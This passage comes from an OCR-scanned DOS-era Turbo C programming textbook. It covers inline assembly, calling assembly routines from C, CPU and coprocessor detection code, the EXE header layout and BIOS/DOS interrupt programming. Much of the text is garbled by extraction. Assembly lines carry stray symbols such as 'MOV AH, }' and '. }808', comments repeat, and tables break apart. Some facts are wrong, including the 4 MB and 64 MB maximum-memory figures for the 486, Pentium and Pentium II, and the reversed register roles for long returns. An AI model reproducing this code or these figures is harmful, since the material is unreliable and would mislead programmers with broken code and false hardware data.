Here we have used interrupts to print message. We can see more about interrupt programming later.

### 16.1.2 Example 2

We can also use inline assembly in functions. Anything that is present in AX register will be returned.

Let's see a program to add two integers.

```
/* main program */
int main( void )
{
    printf( "5+100 = %Ld\n", Add( 5, 100 ) );
    return(0);
} /*--main( )-------* /
```

Now we have to write the function Add ( ) with inline assembly.

```
int Add( int x, int y )
{
    asm {
        MOV AX, x;
        MOV BX, Y
        ADD AX, BX;
        }
    /* return(_AX); can be used to shut off warning */
} /*--Add( )=------*/
```

So the result in AX gets returned automatically. But here you will get a warning. If you are allergic to warning, you can shut it off by adding return ( _AX ) ; in the last line.

Let's see another efficient version of Add ( ).

```
int Add ( int _AX, int _BX )
{
    asm ADD AX, BX;
} /*--Add( )-------* /
```

If you want to return long values, you can use

```
long Add( int x, int y )
{
    asm{
        MOV DX, 0;
        MOV DX, x;
        ADD AX, y; /* low byte in AX */
        ADC DX, 0; /* high byte in DX */
        }
} /*--Add( )-------*/
```

The result in AX(upper word), DX(lower word) gets returned as long. Here you must not use return ( _AX); to shut off warning!

### 16.1.3 Usual Errors

Most of the time you don't need TASM because the built-in BASM is sufficient enough. In case if you use x386 instructions, you have to invoke TASM with \#pragma inline. You will get error when you don't have TASM assembler. One solution for this error is to buy TASM from Borland for about $\$ 130$ (TASM is not yet available for free). Another solution is to create a separate and a pure (i.e., without C) assembly file and assemble with the free assembler like NASM, MASM, etc. Then you have to link that OBJ file with C (This technique of calling Assembly routine from C is discussed in the next section).

### 16.2 Calling Assembly routines from C

Believe it or not, all the standard library functions are written in Assembly (not in C!!) by Borland for efficiency. Then you might be asking me how is it possible to call such a routine from C. Yes, it is possible. The idea is you can link any portable OBJ and LIB files. Thus the standard library functions that are available as LIB and OBJ (browse to your TC folder and check!!) are being linked by the linker with C files in 'linking phase'.

### 16.2.1 C's calling convention

Before getting deeper on this subject it is necessary to know about the convention of C language. In high level language whenever a function is being called, the parameters are pushed into the stack so that the parameters be passed to that routine. For example, if we call a function Add $(7,70)$, the parameters 7 and 70 are pushed into the stack. The order in which the parameters are pushed varies from language to language. In C language the parameters are pushed in the reverse order (i.e., 70 first, then 7). Also C passes the parameters by value rather than by reference, unless we have used pointers.

| Calling convention of high level language |  |  |
| :---: | :---: | :---: |
|  | Parameter passing | Destination |
| C | by value | Reverse Order |
| Pascal | by value | In the given order |
| FORTRAN | by reference | In the given order |

We can also set our TC IDE to use Pascal calling function by OPTION > COMPILER > PASCAL. in the command line TCC -p. When you use such Pascal calling conventions, you must explicitly declare main ( ) with cdecl as

```
int cdecl main( void )
```


## Note

As the Pascal calling convention ensures 'In Order' pushing, it produces tight \& efficient code. However it is a good practice to stick onto the C's standard calling convention.

### 16.2.2 C's naming convention

When you declare an identifier, Turbo C automatically joins an underscore in front of the identifier before saving that identifier in that object module. However, Turbo C treats Pascal type identifiers (those modules with pascal keyword) differently. i.e., they use uppercase and are not prefixed with underscore. Turbo C automatically joins an underscore in front of the function name too.

### 16.2.3 Example 1

With the above enough theory let's see a real example of how to link the assembly routines with C. Please note that in assembly the comment line starts with semicolon (;).

```
; File name: Hellol.asm
.MODEL small
.DATA
    msg DB "Hello!$"
.CODE
    PUBLIC _PrintHello ; Function Name
PrintHello PROC NEAR
    MOV AH, 9
    MOV DX, OFFSET msg
    INT 21h
    RET
PrintHello ENDP
END
```

Here you might have noticed that we have prefixed underscore ( ${ }_{\mathrm{Z}}$ ) with the name of the function. That is because of the C's naming convention as discussed in the previous section. You have to note that we are mating two different language i.e. C and Assembly. As we discussed, when we compile a C file to OBJ file all the function names and identifiers are automatically prefixed with underscore (_ ) by the compiler. So if we don't put up an underscore (_ ) here in Assembly, we cannot link these files. If you find it odd to use an underscore (_ ) in front of function name, then there is another way of declaring function i.e. to use ' C ' keywords with assembly directive as:

```
;File name: Hello2.asm
.MODEL small, C ;'C' used to set the assembly to C
    ; calling & naming convention
. DATA
    msg DB "Hello!$"
. CODE
```

```
    PUBLIC PrintHello
PrintHello PROC NEAR
    MOV AH, }
    MOV DX, OFFSET msg
    INT 21h
    RET
PrintHello ENDP
END
```

The ' $\mathrm{C}^{\prime}$ keyword sets the assembler to use C calling convention and it automatically prefixes underscore ( _ ) with all procedures that are declared as EXTERN or PUBLIC. Here we find that Hello2.asm "looks better" than Hello1.asm! So let's use Hello2.asm.

The next step is to assemble the Hello2.asm to OBJ file. When you assemble, you must assemble it with the case sensitive switch on. The assembler makes all PUBLIC labels into capital letters by default, unless we use case sensitive switch -mx. Case sensitive is important, because C language is case sensitive and we need "PrintHello" to be case sensitive. We can assemble the Hello2.asm as:

```
C:\WAR>TASM -mx Hello2.asm
```

Now you will get Hello2.OBJ which contains PrintfHello procedure.

## Note

You can even assemble the Hello2.asm from IDE by choosing三>Turbo Assembler

## Note

If you don't have TASM, you can use the available assemblers such as MASM, NASM etc. For the details regarding the switches, see your assembler's documentation.

Next we have to write a C program that uses PrintHello( ) function.

```
/* Chkasm1.c */
extern PrintHello( void ); /* PrintHello is written in assembly
                                    available in Hello2.asm */
int main( void )
{
    PrintHello( );
    return (0);
} /*--main( ) -----*/
```

Now we have to compile chkasm1.c and link Hello2.obj in the same time as:

```
C:\WAR> tcc chkasm1.c Hello2.obj
```

Now you will get chkasm1.exe that you can run it under DOS.

## Note

To compile chkasm1.c and link Hello2.obj, you can also use project file instead of command line compiler tcc.

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### 16.2.4 Example 2

```
; File name: Addnum.asm
.MODEL small, C
.CODE
    PUBLIC Addnum
Addnum PROC NEAR USES BX, x: WORD, y: WORD
    MOV AX, x
    ADD AX, Y
    RET
Addnum ENDP
END
```

Assemble as: c:\WAR>TASM -mx Addnum

```
/* Chkasm2.c */
extern Addnum( int x, int y ); /* Addnum is written in
                                    Addnum.asm */
int main( void )
{
    printf( "5+100 = %d \n", Addnum( 5, 100 ) );
    return(0);
} /*--main( )---*/
```

Compile and link as : c: \WAR>tcc chkasm2.c addnum.obj

### 16.3 Creating library file out of assembly language module

Creating library file out of assembly language module is the easiest one. We can add any number of modules with the library file. For that you can use TLIB. For example to create a library file newlib.lib which contains our PrintHello( ) and Add ( ) functions we can use,

```
C:\WAR>TLIB NEWLIB.LIB + Hello2.OBJ
```

Now the newlib.lib file contains only the PrintHello( ) function.

```
C:\WAR>TLIB NEWLIB.LIB + addnum.obj
```

Now the newlib.lib file contains both PrintHello( ) and Addnum( ) function.

If you feel that newlib.lib should not contain PrintHello( ) function, you can even remove the function with the help of '-' switch as:

```
C:\WAR>TLIB NEWLIB.LIB - Hello2.obj
```

For more information on the switch of TLIB, see the Turbo C documentation.

## 17

"Remaining calm solves great problems."

## Processor

"Processor" and CPU (Central Processing Unit) refers the same-the heart of the computer. It is a chip that is responsible for processing instructions.

### 17.1 Processors

The computing world came across so many processors. Each of the processors has its own merits and demerits. The following table shows few of the known processors and its characteristics.

| Date <br> Introduced | Processor | Coprocessor | Internal <br> Register <br> size <br> (bit) | Data <br> I/ O <br> Bus <br> width <br> (bit) | Memory <br> Address <br> Bus <br> width <br> (bit) | Maximum <br> Memory |
| :--- | :--- | :--- | :---: | :---: | :---: | :---: |
| June, 1978 | 8086 | 8087 | 16 | 16 | 20 | 1 MB |
| June, 1979 | 8088 | 8087 | 16 | 8 | 20 | 1 MB |
| Feb, 1982 | $286(80286)$ | 80287 | 16 | 16 | 24 | 16 MB |
| June, 1988 | 386 SX | 80387 SX | 32 | 16 | 24 | 16 MB |
| April, 1989 | 486 DX | Built-in | 32 | 32 | 32 | 4 MB |
| March, 1993 | Pentium | Built-in | 32 | 64 | 32 | 4 MB |
| May, 1997 | Pentium II | Built-in | 32 | 64 | 36 | 64 MB |

### 17.2 Processor Modes

When we look into the history of processors, two processors marked remarkable changes in computing, namely 8088 and 286 . These processors are actually responsible for the so called 'processor modes'.

### 17.2.1 Real Mode

8088 processor is sometimes referred as 16-bit, because it could execute only 16-bit and could address only 1 MB of memory instruction set using 16-bit registers. The processor introduced after 8088, namely 286 was also 16 -bit, but it was faster than 8088 . So these processors (8088 and 286) can handle only 16-bit software and operating systems like Turbo $\mathrm{C}++3.0$, Windows 3.X, etc.

These processors had some drawbacks:

1. Normally didn't support multitasking
2. Had no protection for memory overwriting. So, there is even a chance to erase the operating system present in memory. In other words, 'memory crash' is unavoidable.

This 16bit instruction mode of 8088 and 286 processors are commonly known as 'Real Mode'.

## Note

TC++3.0 is 16 -bit. Therefore it is not preferred for commercial applications.

### 17.2.2 Protected Mode

The first 32-bit processor namely 386, has a built-in mechanism to avoid 'memory crash'. So this 32 -bit mode is commonly known as 'protected mode'. It also supports multitasking. UNIX, OS/2 and Windows NT are the pure 32-bit operating systems. 386 processor are also backward compatible, which means it could even handle 16-bit instructions and could even run on real mode.

### 17.2.3 Virtual Real Mode

When 386 processor was introduced, programmers were still using 16-bit instructions (real mode) on 386 because 386 executes the 16-bit application much faster. They also resisted 32-bit operating system and 32-bit applications. So when Microsoft tried to introduce Windows 95, a 32-bit operating system, it added a backward compatibility and introduced a mode called 'Virtual real mode'. That is, the programmer may think that it is working under real mode, but it is actually protected from hazardous effects.

### 17.3 Processor Type

Each processor has its own unique charactersitcs. When we check for its unique characteristics, we can find whether our processor is 286 or 386 or 586 (Pentium). This logic is used to find out the processor type. Processor type is also referred as CPU Id.

### 17.3.1 C program to find processor type

Finding out the processor type using C program is difficult. Any how Gilles Kohl came out with a tough C code that can determine processor type (386 or 486).

```
int Test386( void )
{
    char far *p = "\270\001pP\235\234X\313";
```

```
    return!!(((int(far*) ()) p)
            ()&(( 0x88 + (( 286 | 386 )*4))<<4));
} /*--Test386( )--------*/
int main( void )
{
    printf( "Running on a %s\n", Test386() ? "386" : "286" );
    return(0);
} /*--main( ) -----*/
```

If the code is run on a machine that don't have 386 or 486 , you may get a wrong output. For better results we must use Assembly. (We can call it as a limitation of C language!).

### 17.3.2 Assembly routine to find processor type

The following Assembly routine is by Alexander Russell. Using this routine, we can find out our processor type and coprocessor support. This routine can be called from C i.e. you can link the object code with C program.

### 17.3.2.1 Assembly routines

To understand this Assembly module, read the comments provided in comment line.

```
;--------------------------------------------------------------
; Hardware detection module
;
; Compile with Tasm.
; C callable.
C callable.
.model medium, c
    global x_processor :proc
    global x_coprocessor :proc
LOCALS
. 386
CPUID MACRO
ENDM
    .code
\begin{tabular}{lll} 
i86 & equ & 0 \\
i186 & equ & 1 \\
i286 & equ & 2
\end{tabular}
```


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```
i386 equ 3
i486 equ 4
i586 equ 5
;----------------------------------------------------
; PC Processor detection routine
;
; C callable as:
; unsigned int x_processor( );
;
;
x_processor PROC
.8086
    pushf ; Save flags
    xor ax,ax ; Clear AX
    push ax ; Push it on the stack
    popf ; Zero the flags
    pushf ; Try to zero bits 12-15
    pop ax ; Recover flags
    and ax,0F000h ; If bits 12-15 are 1 => i86 or i286
    cmp ax,0F000h
    jnz @@not_86_186
    jmp @@is_86_186
@@not_86_186:
    mov ax,07000h ; Try to set bits 12-14
    push ax
    popf
    pushf
    pop ax
    and ax,07000h ; If bits 12-14 are 0 => i286
    jnz is_not_286
    jmp is_286
is_not_286:
    ; its a 386 or higher
    ; check for 386 by attempting to toggle EFLAGS register
    ; Alignment check bit which can't be changed on a 386
. 386
    cli
    pushfd
    pushfd
```

```
pop eax
mov ebx, eax
xor eax, 040000h ; toggle bit 18
push eax
popfd
pushfd
pop eax
popfd
sti
and eax, 040000h ; clear all but bit 18
and ebx, 040000h ; same thing
cmp eax, ebx
jne @@moretest
mov ax, i386
jmp short @@done
; is it a 486 or 586 or higher
```

@@moretest:

```
; check for a 486 by trying to toggle the EFLAGS ID bit
```

; this isn't a foolproof check
cli
pushfd
pushfd
pop eax
mov ebx, eax
xor eax, 0200000h ; toggle bit 21
push eax
popfd
pushfd
pop eax
popfd
sti
and eax, 0200000h ; clear all but bit 21
and ebx, 0200000h ; same thing
cmp eax, ebx
jne @@moretest2
mov ax, i486
jmp short @@done
@@moretest 2 :
; OK it was probably a 486, but let's double check

```
mov eax, 1
```


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```
    CPUID
    and eax, 0f00h
    shr eax, 8
    mov ebx, eax
    mov ax, i586
    cmp ebx, 5
    je @@done ; it was a pentium
    ; it wasn't a }586\mathrm{ so just report the ID
    mov eax, ebx
    and eax, Offffh
    jmp short @@done
    .8086
is_286:
    mov ax,i286 ; We have a 286
    jmp short @@done
@@is_86_186: ; Determine whether i86 or i186
    push cx ; save CX
    mov ax,0FFFFh ; Set all AX bits
    mov cl,33 ; Will shift once on }8018
    shl ax,cl ; or 33 x on 8086
    pop cx
    jnz is_186 ; 0 => 8086/8088
is_86:
    mov ax,i86
    jmp short @@done
is_186:
    mov ax,i186
@@done:
    popf
    ret
x_processor endp
. 386
    . }808
;--------------------------------------------------------
; PC Numeric coprocessor detection routine
;
```

```
; C callable as:
    unsigned int x_coprocessor( );
; Returns 1 if coprocessor found, zero otherwise
x_coprocessor PROC
    LOCAL control:word
    fninit ; try to initialize the copro.
mov [control],0 ; clear control word variable
fnstcw control ; put control word in memory
mov ax,[control] ;
cmp ah,03h ; do we have a coprocessor ?
    je @@HaveCopro ; jump if yes!
    xor ax,ax ; return 0 since nothing found
    jmp short @@Done
@@HaveCopro:
    mov ax,1
@@Done:
    ret
x_coprocessor endp
```

end
;------------------------------

### 17.3.2.2 Calling C program

```
#pragma -mm /* force to medium memory model */
int main( void )
{
    int i;
    static char *cpu_str[]=
            {
                    "i86",
                    "i186",
                    "i286",
                    "i386",
                    "i486",
                    "i586",
                    "i686"
            };
    i = x_processor( );
```


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```
    if ( i > 6 )
    i = 6;
    printf( "Processor type: %s CoPro : %s\n", cpu_str[i],
            x_coprocessor( ) ? "Yes" : "No");
    return(0);
} /*--main( ) ----------* /
```


### 17.3.3 Another Assembly routine

The success of the above Assembly code by Alexander Russell depends on the code that the compiler produces. So if your compiler doesn't produce the "right" code, you may not get proper results. Here I provide another Assembly code to find out processor type. It is by Edward J. Beroset. All these codes use the same logic i.e. checking the unique characteristics of a processor.

This module contains a C callable routine which returns a 16-bit integer (in AX) which indicates the type of CPU on which the program is running. The lower eight bits (AL) contain a number corresponding to the family number (e.g. $0=8086,1=80186,2=80286$, etc.). The higher eight bits $(\mathrm{AH})$ contain a collection of bit flags which are defined below.

```
; cpuid.asm
;
%.MODEL memodel,C ;Add model support via command
                                    ;line macros, e.g.
                                    ;MASM /Dmemodel=LARGE,
                                    ;TASM /Dmemodel=SMALL, etc.
            . }808
            PUBLIC cpu_id
;
; using MASM 6.11 Ml /c /Fl CPUID.ASM
;
; using TASM 4.00 TASM CPUID.ASM
;
; using older assemblers, you may have to use the following equate
; and eliminate the .586 directive
;
;CPUID equ "dw 0a20fh"
;
; bit flags for high eight bits of return value
;
HAS_NPU equ 01h
IS386_287 equ 02h
IS386SX equ 04h
CYRIX equ 08h
```



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```
; a MUL. Intel's CPUs do not -- officially the state of ZF is
; "undefined" after a MUL or IMUL.
;
;*******
    xor al,al ; clear the zero flag
    mov al,1 ;
    mul al ;
    jnz Test186 ;
    or dh,NEC ; it's a V20 or a V30
;**********************************************************************
; The 80186 test
;
; On the 80186, shifts only use the five least significant bits,
; while the 8086 uses all 8, so a request to shift 32 bits will
; be requested as a shift of zero bits on the 80186.
;
; Test186:
    mov al,01h ;
    mov cl,32 ; shift right by 33 bits
    shr al,cl ;
    mov dl,al ; al = 0 for 86, al = 1 for 186
longTestNpu:
    jmp TestNpu ;
```

```
; *********************************************************************
```

; *********************************************************************
; The 286 test
; The 286 test
; Bits 12-15 (the top four) of the flags register are all set to
; Bits 12-15 (the top four) of the flags register are all set to
; 0's on a 286 and can't be set to 1's.
; 0's on a 286 and can't be set to 1's.
;
;
Test286:

| mov | dl, 2 | ; it's at least a 286 |
| :---: | :---: | :---: |
| pushf |  | ; save the flags |
| pop | ax | ; fetch 'em into AX |
| or | $a h, 0 f 0 h$ | ; try setting those high bits |
| push | ax | ; |
| popf |  | ; run it through the flags reg |
| pushf |  | ; |
| pop | ax | ; now check the results |
| and | ah, 0FOh | ; Q: are bits clear? |
| jz | longTestNpu | ; Y: it's a 286 |

; The 386 test

```
```

;
The AC (Alignment Check) bit was introduced on the 486. This
bit can't be toggled on the 386.
;
Test386:
. 386
mov dl,3 ; it's at least a 386
pushfd ; assure enough stack space
cli
and sp, NOT 3 ; align stack to avoid AC fault
pushfd ;
pop cx ;
pop ax ;
mov bx,ax ; save a copy
xor al,4 ; flip AC bit
push ax ;
push cx ;
popfd ;
pushfd ;
pop cx ;
pop ax ;
and al,4 ;
sti
xor al,bl ; Q: did AC bit change?
jnz Test486 ; N: it's a 386
.386P
; The 386SX test
;
; On the 386SX, the ET (Extension Type) bit of CR0 is permanently
; set to 1 and can't be toggled. On the 386DX this bit can be
; cleared.
;*
mov eax,cr0
mov bl,al ; save correct value
and al,not 10h ; try clearing ET bit
mov cr0,eax ;
mov eax,cr0 ; read back ET bit
xchg bl,al ; patch in the correct value
mov cr0,eax ;
test bl,10h ; Q: was bit cleared?
jz TestNpu ; Y: it's a DX
or dh,IS386SX ; N: it's probably an SX

```

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; The 486 test
;
; Try toggling the ID bit in EFLAGS. If the flag can't be toggled,
; it's a 486.
;
Note:
    This one isn't completely reliable -- I've heard that the NexGen
; CPU's don't make it through this one even though they have all
; the Pentium instructions.

Test486:
    .486
    pushfd
    pop cx
    pop bx
    mov dl,4 ;
    mov ax,bx ;
    xor al,20h ; flip EFLAGS ID bit
    push ax ;
    push cx ;
    popfd ;
    pushfd ;
    pop cx ;
    pop ax ;
    and al,20h ; check ID bit
    xor al,bl ; Q: did ID bit change?
    jz TestNpu ; N: it's a 486

PentPlus:
    .586
    push dx ;
    xor eax,eax ;
    cpuid ;
    pop dx ;
    cmp bl,'G' ;
    jz WhatPent ; Y: what kind?
    or dh,CYRIX ; assume Cyrix for now
    cmp bl,'C' ;
    jz WhatPent ;
    xor dh, (CYRIX OR AMD) ;
```

    cmp bl,'A' ;
    jz WhatPent ;
    xor dh,(AMD OR NEXGEN) ;
    cmp bl,'N' ;
    jz WhatPent ;
    xor dh,(NEXGEN OR UMC) ; assume it's UMC
    cmp bl,'U' ;
    jz WhatPent ;
    xor dh,UMC ; we don't know who made it!
    ;**********************************************************************
; The Pentium+ tests (part II)
;
; This test simply gets the family information via the CPUID
; instruction
;
WhatPent:
push edx ;
xor eax,eax ;
inc al ;
cpuid ;
pop edx ;
and ah,0fh ;
mov dl,ah ; put family code in DL
; The NPU test
;
; We reset the NPU (using the non-wait versions of the instruction,of
; course!), put a non-zero value on the stack, then write the NPU
; status word to that stack location. Then we check for zero, which
; is what would be there if there were an NPU.
;
TestNpu:
. }808
. }808
mov sp,bp ; restore stack
fninit ; init but don't wait
mov ax,0EdEdh ;
push ax ; put non-zero value on stack
fnstsw word ptr [bp-2] ; save NPU status word
pop ax ;
or ax,ax ; Q: was status = 0?
jnz finish ; N: no NPu
or dh,HAS_NPU ; Y: has NPU

```

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```

;
; The 386/287 combo test
;
; Since the 386 can be paired with either a 387 or 287, we check to
; see if the NPU believes that +infinity equals -infinity. The 387
; says they're equal, while the 287 doesn't.
;
;**********************************************************************
cmp dl,3 ; Q: is CPU a 386?
jnz finish ; N: no need to check
infinities
fld1 ; load 1
fldz ; load 0
fdiv ; calculate infinity! (1/0)
fld st ; duplicate it
fchs ; change signs of top inf
fcompp ; identical?
push ax ;
fstsw word ptr [bp-2] ;
pop ax ;
test ah,40h ; Q: does NPU say they're
equal?
jz finish ; N: it's a 387
or dh,IS386_287
;
finish:
mov ax,dx ; put our return value in place
pop bp ; clean up stack
pop dx ;
pop cx ;
pop bx ;
ret ;
cpu_id endp
END
;-----------------------------

```

\section*{Exercises}
1. Write a program that can find the current mode of processor (i.e., Real / Protected / Virtual Mode).

\section*{18}
"Practice hospitality."

\section*{File Format}

All except the text file (with .txt extension) use their own standards to save and organize their instruction. For example, the EXE file put up "MZ" in its first two bytes. Thus each file got its own architecture or File Format. If we know the file format of a particular file, we can read or create those files. For example if we know the file format of BMP file, we can read it or even we can create it. We must understand that each and every file type uses its own file formats. Each file format has its own advantages and drawbacks. The software that creates a file of specific type should be aware of its file format. For example, the Linker must know the file format of EXE file, Paintbrush must know the file format of BMP file and so on.

Usually all files contain what is called as file header and it is nothing but the first few bytes of a file. Each file type uses specific size for the file header. For example, the size of File Header for EXE is 28 bytes, for BMP file it is 14 bytes. The file Header contains many useful information such as its file types i.e. whether EXE or BMP or GIF. The file type is identified by what is known as signature. The signature of the EXE file is "MZ", the signature of BMP file is 19778 and so on. After the File Header, the files may contain instructions or some other header. For example, most of the image files have got the file header in the beginning, then color table and then instructions.

If you know the file format you can do miracles. Most of the software vendors document the file format whenever they introduce a new file type. But certain narrow-minded vendors may keep the file format as secret. In such a case you have to crack the file format with the help of certain software (usually DEBUG \& simple C programs).

In this chapter, I just introduce the concept. But in the following chapters and in CD you can see some real examples. You can get almost all file formats from the File Format Encyclopedia that is available in the CD.

\subsection*{18.1 Example}

The following shows the file format of EXE file format:
\begin{tabular}{|c|c|l|}
\hline \multicolumn{3}{|c|}{.EXE - DOS EXE File Structure } \\
\hline Offset & Size & \multicolumn{1}{|c|}{ Description } \\
\hline 00 & word & "MZ" - Link file .EXE signature (Mark Zbikowski?) \\
02 & word & length of image mod 512 \\
04 & word & size of file in 512 byte pages \\
06 & word & number of relocation items following header \\
08 & word & size of header in 16 byte paragraphs, used to locate \\
& & the beginning of the load module \\
0A & word & min \# of paragraphs needed to run program \\
0 C & word & max \# of paragraphs the program would like \\
\(0 E\) & word & offset in load module of stack segment (in paras) \\
10 & word & initial SP value to be loaded \\
12 & word & negative checksum of pgm used while by EXEC loads \\
14 & word & pgm \\
16 & word & program entry point, (initial IP value) \\
18 & word & offset in load module of the code segment (in paras) \\
\(1 A\) & word & offset in .EXE file of first relocation item overlay number \\
& & (0 for root program) \\
\hline
\end{tabular}
- relocation table and the program load module follow the header
- relocation entries are 32 bit values representing the offset into the load module needing patched
- once the relocatable item is found, the CS register is added to the value found at the calculated offset

Registers at load time of the EXE file are as follows:
\(\left.\begin{array}{l|l}\hline \text { AX: } & \text { contains number of characters in command tail, or 0 } \\
\text { BX:CX } & 32 \text { bit value indicating the load module memory size }\end{array}\right]\)\begin{tabular}{ll} 
DX & zero \\
SS: SP & \begin{tabular}{l} 
set to stack segment if defined else, SS = CS and SP=FFFFF or top \\
of memory.
\end{tabular} \\
DS & \begin{tabular}{l} 
set to segment address of EXE header \\
set to segment address of EXE header \\
far address of program entry point, (label on "END" statement of \\
program)
\end{tabular} \\
CS:IP
\end{tabular}

\section*{Suggested Projects}

After reading all the chapters of this book only, you will get thorough ideas about file formats and its usage. Then you can try the following projects:
1. Write your own EXE2BIN utility.
2. Remove relocation found in EXE files.
3. Check out all the available file formats in the File Format Encyclopedia found in the CD. Crack the file types for which file format is not yet available and try to document the file format. (Of course it is illegal!) (Hint: Use DEBUG or simple C programs to read byte by byte)
4. Write your own compression utility and thus develop your own file format for that. Compare its efficiency with PKZIP.
5. Write software to split and join files. For the good quality, it needs that you have to use your own file Header or file format.
6. Write a BMP file creator (i.e. Paintbrush) in high resolution VESA mode. The software has to use both mouse and graphics stylus as input devices.
7. Write a PDF to TXT (text) conversion utility.
8. Write your own image creation utility that uses MP3 compression algorithm and thus develop your own file format for that.
9. Add help (the one which always get invoked when we press Ctrl+F1) for the library that you created. For example if you create a mouse library, and you have InitMouse ( ) function, when you press Ctrl+F1, you should get the help for that function. (Hint: You should know the file format of Turbo C's help file).

\section*{19}

\section*{"Think before you speak."}

\section*{I nterrupt Programming}

Interrupt is the one which temporarily suspends the execution of the current program and executes a specific subroutine called interrupt routine and then resumes the execution of actual program. Many people think that the interrupt instruction 'INT' is one of the "basic" instructions in assembly language. But it is not so. The 'INT' instruction just calls or invokes a specific routine i.e., interrupt routine.

\subsection*{19.1 Logical outline of interrupt routine}

The following code shows the logical outline of an interrupt routine. (Please understand that it is only a prototype)
```

int10h( REGISTER AX, REGISTER BX, ...... )
{
switch( AH ) /* AH holds function number */
{
case 0x0:
switch( AL ) /* AL holds sub function number */
{
case 0x0:
MOV ....
INC ....
break;
case 0x1:
:
break;
}
break;
case 0x1:
if(BX == 0)
{
MOV ....
}
break;
case 0x2:
:
break;
}

```

Here, you see that the behavior of the interrupt routine is determined by the argument that passes through (Some book authors use the term input values instead of argument. But professional programmers use the term argument). The value passed through the register AH is referred as function value. In special cases, value is also passed through AL register to the subfunction. Sometimes we would also pass values through other registers.

Some interrupt routines don't take any argument, which means we don't need to pass value through registers. For example, the interrupt for Print Screen int 5h doesn't take any argument. The prototype of int 5 h hence looks like:
```

int5h( void )
{
MOV ...
:
}

```

Usually interrupt numbers, function numbers and sub-function numbers are represented in hexadecimal rather that in decimal.

\subsection*{19.2 Interrupt Classification}

Each and every motherboard must have a chip containing software, which is known as BIOS or ROM BIOS. Basic Input/Output system (BIOS) is a collection of programs burned (or embedded) in an EPROM (Erasable Programmable Read Only Memory) or EEPROM (Electrically Erasable ROM). We can call these programs by what is known as interrupts. By the way you should know that BIOS programs are not much compatible, because they are written typically for the hardware and they manage the hardware. (Different machines may use different hardware). Usually most of the BIOS functions are compatible.

Operating System is nothing but program that operates computer. It is actually an extension of BIOS. Thus Disk Operating System (DOS) functions and BIOS functions collectively interact with the hardware. Besides interacting with hardware, DOS programs preside more useful functions such as file maintenance (create file, delete file, rename file, etc). These functions can be called by interrupts. Experts find that DOS programs are good for 'DISK' related functions, than 'Input / Output' related functions. Yes, DOS also has got few 'Input / Output' related functions. But these 'Input / Output' related functions are not much used by programmers. They prefer BIOS functions for 'Input / Output' related functions. There is a drawback with DOS functions; it is not re-entrant (where as BIOS functions are re-entrant). If a routine can be called again before it is finished, it is said to be re-entrant. TSR programmers very often get suffered by DOS's re-entrancy problem.

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\subsection*{19.3 Programming with interrupts}

We have seen that we can call DOS functions or BIOS functions with what is known as interrupts. Turbo C provides various ways to send arguments and to generate interrupts. Let's write a simple function GetVideoMode ( ) to get the current video mode with various styles.

To get the current video mode, we have to generate int 10 h and we should pass 0 Fh in AH register as an argument. After generating interrupts, current video mode is stored in AL register.

\subsection*{19.3.1 Inline Assembly Style}
```

typedef char BYTE;
BYTE GetVideoMode( void )
{
asm {
mov ah, OFh;
int 10h;
}
/* AL holds current video mode and is returned */
} /*--GetVideoMode( )-------*/

```

\subsection*{19.3.2 Pure Assembly Style}

We can also write a pure assembly file (getvid.asm) and assemble the file with TASM as
C: \WAR>TASM -mx getvid
Now we will get getvid.obj. We can link this obj file with the main program.
```

; File name: Getvid.asm
.MODEL small, C
.CODE
PUBLIC GetVideoMode
GetVideoMode PROC NEAR
MOV AH, OFh
INT 10h ; AL register holds current video mode
XOR AH, AH ; Set AH register to 0
; Now, AX holds value of AL
RET ; value in AX get returned
GetVideoMode ENDP
END

```

\subsection*{19.3.3 geninterrupt() style}
```

typedef char BYTE;
BYTE GetVideoMode( void )
{
_AH = 0x0F;

```
```

    geninterrupt( 0x10 );
    return(_AL);
    } /*--GetVideoMode( ) -------*/

```

\subsection*{19.3.4 int86( ) style}
```

BYTE GetVideoMode( void )
{
union REGS inregs, outregs;
inregs.h.ah = 0x0F;
int86( 0x10, \&inregs, \&outregs );
return( outregs.h.al );
} /*--GetVideoMode( ) -------*/

```

The function related to int86( ) are int86x( ), intdos( ) \& intdosx( ). And those functions return the value of AX after completion of the interrupt. If an error occurs, carry flag is set to 1 and _doserrno is also set to error code.
```

19.3.5 intr( ) style
BYTE GetVideoMode( void )
{
struct REGPACK regs;
regs.r_ax = 0x0F00;
intr( 0x10, \&regs );
return( (BYTE)regs.r_ax );
} /*--GetVideoMode( )-------*/

```

Here you have to note that intr ( ) functions doesn't return anything, there is no way to represent AL or AH register separately.

\subsection*{19.3.6 Benchmarking}

We can find that the inline assembly style and pure assembly style are faster than any other above methods. Big software companies use "Pure Assembly Style". They create library file with assembly language and link them wherever necessary. Inline assembly is my choice, because it provides more readability, C style usage and flexibility. For example in C, we can directly enter octal or hexadecimal or decimal number as
```

int a = \101 ; /* Octal */
int b = \x65 ; /* Hexa */
int c = 65 ; /* decimal */

```

But we cannot directly enter binary values in C (But it is possible in Assembly!). One solution for this is to use strtol ( ) as:
```

int a;
char str[] = "0000010"; /* binary */

```

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```

char *endptr;
/* radix should be 2 for binary in strol... */
a = strtol( str, \&endptr, 2 );

```

Fortunately inline style provides more flexibility and an easy way for entering binary values:
```

asm MOV AX, 00000010b; (or) asm {
a = _AX; MOV AX, 00000010b ;
MOV a, AX ;
}

```

The suffix 'b' tells that it is a binary number.
That's why I prefer the flexible inline style. But if you are a beginner and if you don't know much of assembly, I suggest you to use int86( ) style as it provides good error handling mechanism. You can even use other styles, if you are comfortable with them!

\subsection*{19.4 Myth \& Mistakes}

Q: "Use of standard library functions increase the size of the EXE file. But this interrupt function doesn't increase the size of the EXE file". Is this statement true?

A: No. This statement has no sense at all. This myth is introduced in Indian Programming World by few book authors. TC's library functions also use interrupts and it was also written by "Programmers". The only difference you can find between interrupt programming and using compiler's library is flexibility i.e., our own functions will be more convenient as it is written by us.

Q: Can I use standard library's gotoxy ()?
A: The standard library according to ANSI standard doesn't have gotoxy ( ). gotoxy ( ) is provided by Turbo C and you can use it.

\section*{Exercises}
1. Write a program that find out the life of battery found on your motherboard.

\section*{Suggested Projects}
1. Write diagnostic software that finds the status of your peripherals and motherboard.

\section*{20 \\ Programming Video RAM}

To get a display we have to add a component called video adapter with the motherboard. Hardware engineers sometimes call this video adapter as video card. On the video card we can see a group of video RAM chips. The video card may have upto 8 MB in board, but most of them are used by circuits on the card and cannot be directly accessed by processor. In the basic VGA mode (e.g., DOS mode, Windows safe mode ), the processor can directly access upto 128 KB (i.e., A0000h to BFFFFh ) of video RAM . Usually all video cards also have onboard video BIOS normally addressed at C0000h TO C7FFFh.


\subsection*{20.1 Memory map}

